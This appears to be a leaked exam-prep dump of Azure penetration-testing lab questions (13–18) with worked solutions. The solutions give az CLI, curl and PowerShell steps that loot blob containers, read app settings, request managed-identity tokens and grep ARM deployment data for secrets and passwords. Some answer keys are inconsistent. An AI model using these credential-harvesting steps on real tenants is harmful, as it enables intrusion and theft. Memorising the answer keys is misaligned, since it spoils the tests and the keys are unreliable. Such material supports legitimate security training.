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| Section | Objectives |
|---|---|
| Topic 1: Compute & Network Exploitation in Azure | - VM exploitation and lateral movement - Network misconfiguration exploitation (NSG / routing) |
| Topic 2: Azure Identity & Authentication Exploitation | - Token / credential abuse scenarios - Privilege escalation via misconfigured roles |
| Topic 3: Real-world Azure Attack Chains (CTF Scenario) | - Flag/goal-based task completion in live environment - Multi-step exploitation chain from initial access to privilege escalation |
| Topic 4: Azure Cloud Attack Surface Enumeration | - Identity and access enumeration (Azure AD / Entra ID) - Azure resource discovery and recon |
| Topic 5: Azure Storage & Data Exposure | - Blob storage misconfiguration exploitation - Sensitive data extraction from storage services |
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13. Frage
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
14. Frage
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
15. Frage
You find a SAS token in a table entity. The token starts with:
?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z
Which permissions does sp=rl grant?
Antwort: C
Begründung:
Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.
16. Frage
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
17. Frage
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
Antwort: B
Begründung:
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
18. Frage
......
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